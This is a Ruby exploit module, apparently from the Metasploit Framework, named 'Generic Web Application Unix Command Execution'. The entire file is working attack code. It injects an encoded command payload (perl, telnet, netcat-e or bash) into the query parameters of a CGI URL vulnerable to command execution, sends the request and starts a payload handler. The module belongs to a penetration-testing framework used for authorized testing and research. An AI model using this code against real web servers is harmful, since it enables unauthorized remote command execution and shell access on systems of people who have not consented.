84 lines
2.2 KiB
Ruby
84 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Generic Web Application Unix Command Execution',
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'Description' => %q{
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This module can be used to exploit any generic command execution vulnerability
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for CGI applications on Unix-like platforms. To use this module, specify the
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CMDURI path, replacing the command itself with XXcmdXX. This module is currently
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limited to forms vulnerable through GET requests with query parameters.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' => [ ],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 1024,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet netcat-e bash',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Nov 14 1993', # CGI historical date :)
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
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], self.class)
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end
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def exploit
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uri = datastore['CMDURI'].to_s
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uri,query = uri.split('?', 2)
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if query
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query = query.split('&').map{|var|
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k,v = var.split('=', 2)
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Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
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}.join('&')
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uri = uri + '?' + query
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end
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print_status("Sending HTTP request for #{uri}")
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res = send_request_cgi( {
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'global' => true,
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'uri' => uri
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}, 30)
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if res
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print_status("The server responded with HTTP CODE #{res.code}")
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else
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print_status("The server did not respond to our request")
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end
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handler
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end
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end
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